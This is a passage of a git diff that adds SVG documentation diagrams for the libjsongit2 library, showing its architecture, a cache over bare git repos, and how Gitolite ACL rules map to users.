+			<text x="-316.28238" y="-393.91928" fill="#ffffff" font-family="'Open Sans'" font-size="12.909px" letter-spacing="0px" stroke-width="1.6136" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-316.28238" y="-393.91928" fill="#ffffff" font-family="'Open Sans'" stroke-width="1.6136">lws</tspan></text>
+		</g>
+		<g fill="none" stroke="#000">
+			<path d="m-340.95-399.29h-12.289" marker-end="url(#c)" marker-start="url(#aa)" stroke-width="1.0285px"/>
+			<path d="m-318.54-385.32v12.289" marker-end="url(#l)" marker-start="url(#ad)" stroke-width="1.0285px"/>
+			<path d="m-312.01-422.4v12.289" marker-end="url(#i)" marker-start="url(#z)" stroke-width="1.8908"/>
+		</g>
+	</g>
+</svg>
diff --git a/doc/doc-assets/libjsongit2-acl.svg b/doc/doc-assets/libjsongit2-acl.svg
new file mode 100644
index 0000000..d74fe15
--- /dev/null
+++ b/doc/doc-assets/libjsongit2-acl.svg
@@ -0,0 +1,3 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Created with Inkscape (http://www.inkscape.org/) -->
+<svg width="140mm" height="95.8mm" version="1.1" viewBox="0 0 140.13134 95.847728" xmlns="http://www.w3.org/2000/svg" xmlns:cc="http://creativecommons.org/ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"><defs><filter id="b" x="-.0159" y="-.0179" width="1.03" height="1.04" color-interpolation-filters="sRGB"><feGaussianBlur stdDeviation="0.071411171"/></filter><filter id="a" x="-.0201" y="-.0299" width="1.04" height="1.06" color-interpolation-filters="sRGB"><feGaussianBlur stdDeviation="0.20045214"/></filter></defs><metadata><rdf:RDF><cc:Work rdf:about=""><dc:format>image/svg+xml</dc:format><dc:type rdf:resource="http://purl.org/dc/dcmitype/StillImage"/><dc:title/></cc:Work></rdf:RDF></metadata><g transform="translate(502 -42.1)"><rect transform="matrix(5.62 0 0 5.62 516 -1.74e3)" x="-181" y="318" width="24" height="16.1" filter="url(#a)"/><rect x="-501" y="43.9" width="135" height="90.4" fill="#fff"/><path transform="matrix(5.62 0 0 5.62 516 -1.74e3)" d="m-173 322h-5.88c-0.705 0.146-1.08 0.895-1.02 1.57 0.0852 2.2 0.315 4.39 0.142 6.08-0.195 0.798 0.476 1.55 1.24 1.67 1.88 0.0472 4.03 0.306 5.58 0.27 0.644-0.17 0.721-0.919 0.644-1.47-0.0656-0.58-0.0649-1.35 0.553-1.64 0.693-0.326 1.78-2e-3 2.49-0.205 0.32-0.29 0.0571-0.327-0.149-0.387-0.849-0.0449-1.84-0.907-2.35-1.7-0.754-1.49 0.436-1.94-0.0149-3.07-0.243-0.524-0.293-0.66-0.74-0.982z" filter="url(#b)"/><rect x="-441" y="60.6" width="9.82" height="68.2"/><path d="m-454 65.7h-33c-3.96 0.82-6.05 5.03-5.7 8.81 0.479 12.4 1.77 24.7 0.798 34.2-1.1 4.48 2.67 8.69 6.97 9.38 10.5 0.265 22.6 1.72 31.3 1.51 3.62-0.956 4.05-5.16 3.62-8.27-0.368-3.26-0.365-7.57 3.11-9.19 3.89-1.83 10-0.0115 14-1.15 1.79-1.63 0.321-1.84-0.834-2.18-4.77-0.252-10.3-5.09-13.2-9.57-4.24-8.38 2.45-10.9-0.0837-17.3-1.37-2.94-1.65-3.71-4.16-5.51z" fill="#fff6d5"/><g fill="#666"><rect x="-434" y="63" width="11.4" height="9.02"/><rect x="-434" y="73.8" width="11.4" height="9.02"/><rect x="-434" y="84.5" width="11.4" height="9.02"/></g><g><rect x="-433" y="95.1" width="11.4" height="9.02" fill="#fc0"/><rect x="-434" y="106" width="11.4" height="9.02" fill="#666"/><rect x="-433" y="117" width="11.4" height="9.02" fill="#666"/><text x="-427.67505" y="99.119179" fill="#000000" font-family="'Open Sans'" font-size="3.81px" letter-spacing="0px" stroke-width=".477" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-427.67505" y="99.119179" font-family="'Open Sans'" stroke-width=".477">gitolite</tspan></text><text x="-427.72552" y="102.75929" fill="#000000" font-family="'Open Sans'" font-size="3.81px" letter-spacing="0px" stroke-width=".477" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-427.72552" y="102.75929" font-family="'Open Sans'" stroke-width=".477">-admin</tspan></text></g><g fill="#ffffff" font-family="'Open Sans'" font-size="3.81px" letter-spacing="0px" stroke-width=".477" text-anchor="middle" word-spacing="0px"><text x="-427.81927" y="68.796104" text-align="center" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-427.81927" y="68.796104" fill="#ffffff" font-family="'Open Sans'" stroke-width=".477">repo1</tspan></text><text x="-428.10443" y="79.995132" text-align="center" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-428.10443" y="79.995132" fill="#ffffff" font-family="'Open Sans'" stroke-width=".477">repo2</tspan></text><text x="-427.91675" y="90.409317" text-align="center" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-427.91675" y="90.409317" fill="#ffffff" font-family="'Open Sans'" stroke-width=".477">repo3</tspan></text><text x="-427.63528" y="111.23765" text-align="center" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-427.63528" y="111.23765" fill="#ffffff" font-family="'Open Sans'" stroke-width=".477">repo4</tspan></text><text x="-427.54144" y="122.02705" text-align="center" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-427.54144" y="122.02705" fill="#ffffff" font-family="'Open Sans'" stroke-width=".477">repo5</tspan></text></g><g><rect x="-416" y="60.5" width="7.38" height="69.1" fill="#666"/><rect x="-403" y="60.4" width="7.38" height="69.1" fill="#666"/><circle cx="-413" cy="67.3" r="4.46" fill="#0f0" stroke="#000" stroke-width=".562"/></g><g stroke="#000"><path d="m-415 67.6 1.88 1.69 2.91-4.41" fill="none" stroke-width="1.49px"/><circle cx="-413" cy="121" r="4.46" fill="#0f0" stroke-width=".562"/><path d="m-415 121 1.88 1.69 2.91-4.41" fill="none" stroke-width="1.49px"/><circle cx="-399" cy="88.9" r="4.46" fill="#0f0" stroke-width=".562"/><path d="m-402 89.1 1.88 1.69 2.91-4.41" fill="none" stroke-width="1.49px"/></g><text x="-413.03647" y="50.16304" fill="#000000" font-family="'Open Sans'" font-size="2.76px" letter-spacing="0px" stroke-width=".345" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1" xml:space="preserve"><tspan x="-413.03647" y="50.16304" style="line-height:1">vhost</tspan><tspan x="-413.03647" y="52.92186" style="line-height:1">"acl_user"</tspan><tspan x="-413.03647" y="55.680679" style="line-height:1"><tspan fill="#0000ff" font-family="'Open Sans'" stroke-width=".345">v-myhost</tspan></tspan></text><g stroke="#000"><circle cx="-378" cy="67.5" r="4.46" fill="#0f0" stroke-width=".562"/><path d="m-381 67.7 1.88 1.69 2.91-4.41" fill="none" stroke-width="1.49px"/><circle cx="-378" cy="88.9" r="4.46" fill="#0f0" stroke-width=".562"/><path d="m-381 89.1 1.88 1.69 2.91-4.41" fill="none" stroke-width="1.49px"/><circle cx="-378" cy="122" r="4.46" fill="#0f0" stroke-width=".562"/><path d="m-381 122 1.88 1.69 2.91-4.41" fill="none" stroke-width="1.49px"/></g><text x="-399.20462" y="49.93663" fill="#000000" font-family="'Open Sans'" font-size="2.71px" letter-spacing="0px" stroke-width=".339" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1" xml:space="preserve"><tspan x="-399.20462" y="49.93663" style="line-height:1">context</tspan><tspan x="-399.20462" y="52.648468" style="line-height:1">"authorized"</tspan><tspan x="-399.20462" y="55.360302" style="line-height:1"><tspan fill="#0000ff" font-family="'Open Sans'" stroke-width=".339">myuser</tspan></tspan></text><path d="m-380 75.7 4.16 4.22" fill="none" stroke="#f00" stroke-width="1.49px"/><path d="m-376 75.7-4.18 4.18" fill="#f00" stroke="#f00" stroke-width="1.49px"/><g fill="none" stroke="#f00" stroke-width="1.49px"><path d="m-380 97.3 4.16 4.22"/><path d="m-376 97.3-4.18 4.18"/><path d="m-380 108 4.16 4.22"/><path d="m-376 108-4.18 4.18"/></g><g fill="#000000" font-family="'Open Sans'" letter-spacing="0px" word-spacing="0px"><text x="-488.3504" y="78.013237" font-size="4.55px" stroke-width=".569" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-488.3504" y="78.013237"><tspan font-family="'Open Sans'" stroke-width=".569">repo</tspan> repo1</tspan><tspan x="-488.3504" y="83.701195">    R = <tspan fill="#0000ff" font-family="'Open Sans'" stroke-width=".569">v-myvhost</tspan></tspan><tspan x="-488.3504" y="89.389153"><tspan font-family="'Open Sans'" stroke-width=".569">repo</tspan> repo5</tspan><tspan x="-488.3504" y="95.07711">    R = <tspan fill="#0000ff" font-family="'Open Sans'" stroke-width=".569">v-myvhost</tspan></tspan><tspan x="-488.3504" y="100.76507"><tspan font-family="'Open Sans'" stroke-width=".569">repo</tspan> repo3</tspan><tspan x="-488.3504" y="106.45303">    R = <tspan fill="#0000ff" font-family="'Open Sans'" stroke-width=".569">myuser</tspan></tspan></text><text x="-378.44226" y="53.439285" font-size="3.58px" stroke-width=".448" text-align="center" text-anchor="middle" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1" xml:space="preserve"><tspan x="-378.44226" y="53.439285" style="line-height:1">effective</tspan><tspan x="-378.44226" y="57.021053" style="line-height:1">ACL</tspan></text><text x="-464.68878" y="52.752182" font-size="5.7px" stroke-width=".712" text-align="center" text-anchor="middle" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-464.68878" y="52.752182" stroke-width=".712">Gitolite ACL integration</tspan></text></g></g></svg>
diff --git a/doc/doc-assets/libjsongit2-overview.svg b/doc/doc-assets/libjsongit2-overview.svg
new file mode 100644
index 0000000..6089ed9
--- /dev/null
+++ b/doc/doc-assets/libjsongit2-overview.svg
@@ -0,0 +1,155 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<svg width="168.71mm" height="222.94mm" version="1.1" viewBox="0 0 168.71432 222.93897" xmlns="http://www.w3.org/2000/svg">
+	<defs>
+		<marker id="s" overflow="visible" orient="auto">
+			<path transform="matrix(.2 0 0 .2 1.2 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<marker id="b" overflow="visible" orient="auto">
+			<path transform="matrix(-.2 0 0 -.2 -1.2 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<marker id="e" overflow="visible" orient="auto">
+			<path transform="matrix(-.2 0 0 -.2 -1.2 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<marker id="u" overflow="visible" orient="auto">
+			<path transform="matrix(.2 0 0 .2 1.2 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<marker id="i" overflow="visible" orient="auto">
+			<path transform="matrix(-.2 0 0 -.2 -1.2 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<marker id="o" overflow="visible" orient="auto">
+			<path transform="matrix(.2 0 0 .2 1.2 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<marker id="h" overflow="visible" orient="auto">
+			<path transform="matrix(-.2 0 0 -.2 -1.2 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<marker id="v" overflow="visible" orient="auto">
+			<path transform="matrix(.2 0 0 .2 1.2 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<marker id="j" overflow="visible" orient="auto">
+			<path transform="matrix(-.2 0 0 -.2 -1.2 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<marker id="k" overflow="visible" orient="auto">
+			<path transform="matrix(-.4 0 0 -.4 -4 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<marker id="y" overflow="visible" orient="auto">
+			<path transform="matrix(-.4 0 0 -.4 -4 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<marker id="m" overflow="visible" orient="auto">
+			<path transform="matrix(-.4 0 0 -.4 -4 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<marker id="w" overflow="visible" orient="auto">
+			<path transform="matrix(-.4 0 0 -.4 -4 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<marker id="l" overflow="visible" orient="auto">
+			<path transform="matrix(-.4 0 0 -.4 -4 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<marker id="x" overflow="visible" orient="auto">
+			<path transform="matrix(-.4 0 0 -.4 -4 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<marker id="t" overflow="visible" orient="auto">
+			<path transform="matrix(.2 0 0 .2 1.2 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<marker id="a" overflow="visible" orient="auto">
+			<path transform="matrix(-.2 0 0 -.2 -1.2 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<marker id="r" overflow="visible" orient="auto">
+			<path transform="matrix(.2 0 0 .2 1.2 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<marker id="g" overflow="visible" orient="auto">
+			<path transform="matrix(-.2 0 0 -.2 -1.2 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<marker id="q" overflow="visible" orient="auto">
+			<path transform="matrix(.2 0 0 .2 1.2 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<marker id="f" overflow="visible" orient="auto">
+			<path transform="matrix(-.2 0 0 -.2 -1.2 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<marker id="p" overflow="visible" orient="auto">
+			<path transform="matrix(.2 0 0 .2 1.2 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<marker id="c" overflow="visible" orient="auto">
+			<path transform="matrix(-.2 0 0 -.2 -1.2 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<marker id="d" overflow="visible" orient="auto">
+			<path transform="matrix(-.2 0 0 -.2 -1.2 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<filter id="n" x="-.03516" y="-.026161" width="1.0703" height="1.0523" color-interpolation-filters="sRGB">
+			<feGaussianBlur stdDeviation="0.73415599"/>
+		</filter>
+	</defs>
+	<g transform="translate(-31.39 -59.723)">
+		<g>
+			<rect transform="matrix(3.1327 0 0 3.1327 -68.46 -129.96)" x="33.862" y="62.699" width="50.113" height="67.352" filter="url(#n)"/>
+			<rect x="36.155" y="64.782" width="156.99" height="210.99" fill="#f2f2f2"/>
+			<rect x="45.289" y="190.99" width="139.04" height="43.345" fill="#ffe6d5"/>
+		</g>
+		<path d="m151.59 213.22h-4.6833" fill="none" marker-end="url(#d)" stroke="#000" stroke-width="1.0557"/>
+		<g>
+			<rect x="88.738" y="195.82" width="55.534" height="36.28" fill="#4d4d4d"/>
+			<rect x="91.364" y="213.56" width="49.806" height="15.435" fill="#808080"/>
+			<text x="116.1095" y="225.51717" fill="#ffffff" font-family="'Open Sans'" font-size="12.446px" letter-spacing="0px" stroke-width="1.5557" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="116.1095" y="225.51717" fill="#ffffff" font-family="'Open Sans'" stroke-width="1.5557">libgit2</tspan></text>
+		</g>
+		<g fill="#4d4d4d">
+			<rect x="87.77" y="242.9" width="13.665" height="13.526"/>
+			<rect x="102.27" y="242.9" width="13.665" height="13.526"/>
+			<rect x="116.63" y="242.9" width="13.665" height="13.526"/>
+		</g>
+		<path d="m154.21 251.77 0.2929-35.734" fill="none" stroke="#000" stroke-width="1.0557"/>
+		<g>
+			<rect x="131.14" y="242.9" width="13.665" height="13.526" fill="#4d4d4d"/>
+			<text x="116.60323" y="207.03345" fill="#ffffff" font-family="'Open Sans'" font-size="9.6105px" letter-spacing="0px" stroke-width="1.2013" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="116.60323" y="207.03345" fill="#ffffff" font-family="'Open Sans'" stroke-width="1.2013">libjsongit2</tspan></text>
+			<text x="116.2832" y="264.41727" fill="#000000" font-family="'Open Sans'" font-size="7.4587px" letter-spacing="0px" stroke-width=".93234" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="116.2832" y="264.41727" font-family="'Open Sans'" stroke-width=".93234">your bare git repos</tspan></text>
+		</g>
+		<g fill="none" stroke="#000" stroke-width="1.0541px">
+			<path d="m94.467 228.35v12.596" marker-end="url(#c)" marker-start="url(#p)"/>
+			<path d="m109.34 228.51v12.596" marker-end="url(#f)" marker-start="url(#q)"/>
+			<path d="m123.35 228.51v12.596" marker-end="url(#g)" marker-start="url(#r)"/>
+			<path d="m138.31 228.35v12.596" marker-end="url(#a)" marker-start="url(#t)"/>
+		</g>
+		<g>
+			<text x="165.64291" y="220.55902" fill="#000000" font-family="'Open Sans'" font-size="5.0408px" letter-spacing="0px" stroke-width=".6301" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="165.64291" y="220.55902">gitolite</tspan><tspan x="165.64291" y="226.86002">config</tspan></text>
+			<rect x="45.78" y="95.972" width="138.74" height="82.813" fill="#e9c6af"/>
+			<text x="60.141151" y="107.237" fill="#000000" font-family="'Open Sans'" font-size="9.5373px" letter-spacing="0px" stroke-width="1.1922" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="60.141151" y="107.237">user</tspan><tspan x="60.141151" y="119.15858">app</tspan></text>
+			<rect x="85.264" y="154.37" width="61.776" height="18.114" fill="#806600"/>
+			<text x="116.2388" y="166.9118" fill="#ffffff" font-family="'Open Sans'" font-size="12.434px" letter-spacing="0px" stroke-width="1.5542" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="116.2388" y="166.9118" fill="#ffffff" font-family="'Open Sans'" stroke-width="1.5542">jg2_vhost</tspan></text>
+		</g>
+		<g fill="#a80">
+			<rect x="94.161" y="136.89" width="13.652" height="13.513"/>
+			<rect x="108.51" y="136.89" width="13.652" height="13.513"/>
+			<rect x="123" y="136.89" width="13.652" height="13.513"/>
+		</g>
+		<g fill="#ffffff" font-family="'Open Sans'" font-size="9.5493px" letter-spacing="0px" stroke-width="1.1937" text-anchor="middle" word-spacing="0px">
+			<text x="100.87365" y="146.6088" text-align="center" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="100.87365" y="146.6088" fill="#ffffff" font-family="'Open Sans'" stroke-width="1.1937">ctx</tspan></text>
+			<text x="115.16098" y="146.39603" text-align="center" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="115.16098" y="146.39603" fill="#ffffff" font-family="'Open Sans'" stroke-width="1.1937">ctx</tspan></text>
+			<text x="129.62732" y="146.39603" text-align="center" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="129.62732" y="146.39603" fill="#ffffff" font-family="'Open Sans'" stroke-width="1.1937">ctx</tspan></text>
+		</g>
+		<text x="91.786316" y="119.6458" fill="#000000" font-family="'Open Sans'" font-size="5.0359px" letter-spacing="0px" stroke-width=".62949" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="91.786316" y="119.6458" font-family="'Open Sans'" stroke-width=".62949">urlpath in</tspan></text>
+		<text x="133.3802" y="103.92596" fill="#000000" font-family="'Open Sans'" font-size="5.0359px" letter-spacing="0px" stroke-width=".62949" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="133.3802" y="103.92596" font-family="'Open Sans'" stroke-width=".62949">HTML + JSON out into</tspan></text>
+		<g fill="none" stroke="#000">
+			<g stroke-width=".63048">
+				<path d="m120.32 126.71 9.5382 9.8562 14.307-21.143" marker-end="url(#x)" marker-start="url(#l)"/>
+				<path d="m105.78 126.74 9.5382 9.8562 14.307-21.143" marker-end="url(#w)" marker-start="url(#m)"/>
+				<path d="m91.554 126.66 9.5383 9.8562 14.307-21.143" marker-end="url(#y)" marker-start="url(#k)"/>
+			</g>
+			<g stroke-width=".62949px">
+				<path d="m100.95 150.19v4.4964" marker-end="url(#j)" marker-start="url(#v)"/>
+				<path d="m114.88 149.97v4.4964" marker-end="url(#h)" marker-start="url(#o)"/>
+				<path d="m129.27 149.74v4.4964" marker-end="url(#i)" marker-start="url(#u)"/>
+			</g>
+			<path d="m159.44 163.02h-12.596" marker-end="url(#e)" stroke-width="1.055"/>
+		</g>
+		<text x="167.9082" y="160.75" fill="#000000" font-family="'Open Sans'" font-size="5.0408px" letter-spacing="0px" stroke-width=".6301" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="167.9082" y="160.75">template</tspan><tspan x="167.9082" y="167.05099">HTML</tspan></text>
+		<path d="m116.44 170.67v22.542" fill="none" marker-end="url(#b)" marker-start="url(#s)" stroke="#000" stroke-width="1.0541px"/>
+		<g fill="#000000" font-family="'Open Sans'" letter-spacing="0px" text-anchor="middle" word-spacing="0px">
+			<text x="133.12012" y="109.48351" font-size="5.0359px" stroke-width=".62949" text-align="center" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="133.12012" y="109.48351" font-family="'Open Sans'" stroke-width=".62949">chunked memory buffers</tspan></text>
+			<text x="75.911415" y="82.317596" font-size="13.259px" stroke-width="1.6574" text-align="center" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="75.911415" y="82.317596" fill="#000000" font-family="'Open Sans'" stroke-width="1.6574">libjsongit2</tspan></text>
+			<text x="58.847652" y="220.49406" font-size="6.5417px" stroke-width=".81771" text-align="center" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="58.847652" y="220.49406">this</tspan><tspan x="58.847652" y="228.67117">library</tspan></text>
+			<text x="165.30663" y="202.23048" font-size="5.0408px" stroke-width=".6301" text-align="center" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="165.30663" y="202.23048">gitweb</tspan><tspan x="165.30663" y="208.53148">config</tspan></text>
+		</g>
+		<rect x="63.847" y="197.84" width="17.768" height="13.526" fill="#4d4d4d"/>
+		<text x="72.539955" y="206.56897" fill="#ffffff" font-family="'Open Sans'" font-size="6.025px" letter-spacing="0px" stroke-width=".75313" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="72.539955" y="206.56897" fill="#ffffff" font-family="'Open Sans'" stroke-width=".75313">cache</tspan></text>
+		<path d="m154.65 216.44-3.4731-3.3878" fill="none" stroke="#000" stroke-width="1.0557"/>
+		<rect x="147.82" y="242.69" width="13.665" height="13.526" fill="#806600"/>
+		<text x="155.05472" y="248.86899" fill="#ffff00" font-family="'Open Sans'" font-size="2.9714px" letter-spacing="0px" stroke-width=".37142" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="155.05472" y="248.86899">gitolite-</tspan><tspan x="155.05472" y="252.58321">admin</tspan></text>
+	</g>
+</svg>
diff --git a/doc/doc-assets/libjsongit2-sandwich.svg b/doc/doc-assets/libjsongit2-sandwich.svg
new file mode 100644
index 0000000..c5bacb0
--- /dev/null
+++ b/doc/doc-assets/libjsongit2-sandwich.svg
@@ -0,0 +1,3 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Created with Inkscape (http://www.inkscape.org/) -->
+<svg width="131mm" height="117mm" version="1.1" viewBox="0 0 131.09431 116.97856" xmlns="http://www.w3.org/2000/svg" xmlns:cc="http://creativecommons.org/ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:xlink="http://www.w3.org/1999/xlink"><defs><radialGradient id="c" cx="133" cy="366" r="1.24" gradientTransform="translate(-6.51 -8.65)" gradientUnits="userSpaceOnUse"><stop stop-color="#ffffa8" stop-opacity=".632" offset="0"/><stop stop-color="#fff" stop-opacity="0" offset="1"/></radialGradient><filter id="n" x="-.0744" y="-.0744" width="1.15" height="1.15" color-interpolation-filters="sRGB"><feGaussianBlur stdDeviation="0.076639535"/></filter><radialGradient id="f" cx="133" cy="366" r="1.24" gradientTransform="translate(-6.51 -8.65)" gradientUnits="userSpaceOnUse"><stop stop-color="#ffffa3" stop-opacity=".707" offset="0"/><stop stop-color="#fff" stop-opacity="0" offset="1"/></radialGradient><filter id="o" x="-.0744" y="-.0744" width="1.15" height="1.15" color-interpolation-filters="sRGB"><feGaussianBlur stdDeviation="0.076639535"/></filter><radialGradient id="g" cx="133" cy="366" r="1.24" gradientTransform="translate(-6.51 -8.65)" gradientUnits="userSpaceOnUse"><stop stop-color="#fff" offset="0"/><stop stop-color="#fff" stop-opacity="0" offset="1"/></radialGradient><filter id="k" x="-.0744" y="-.0744" width="1.15" height="1.15" color-interpolation-filters="sRGB"><feGaussianBlur stdDeviation="0.076639535"/></filter><radialGradient id="d" cx="133" cy="366" r="1.24" gradientTransform="translate(-6.51 -8.65)" gradientUnits="userSpaceOnUse"><stop stop-color="#fff" stop-opacity=".669" offset="0"/><stop stop-color="#fff" stop-opacity="0" offset="1"/></radialGradient><filter id="l" x="-.0744" y="-.0744" width="1.15" height="1.15" color-interpolation-filters="sRGB"><feGaussianBlur stdDeviation="0.076639535"/></filter><radialGradient id="e" cx="133" cy="366" r="1.24" gradientTransform="translate(-6.51 -8.65)" gradientUnits="userSpaceOnUse"><stop stop-color="#ffff62" stop-opacity=".612" offset="0"/><stop stop-color="#fff" stop-opacity="0" 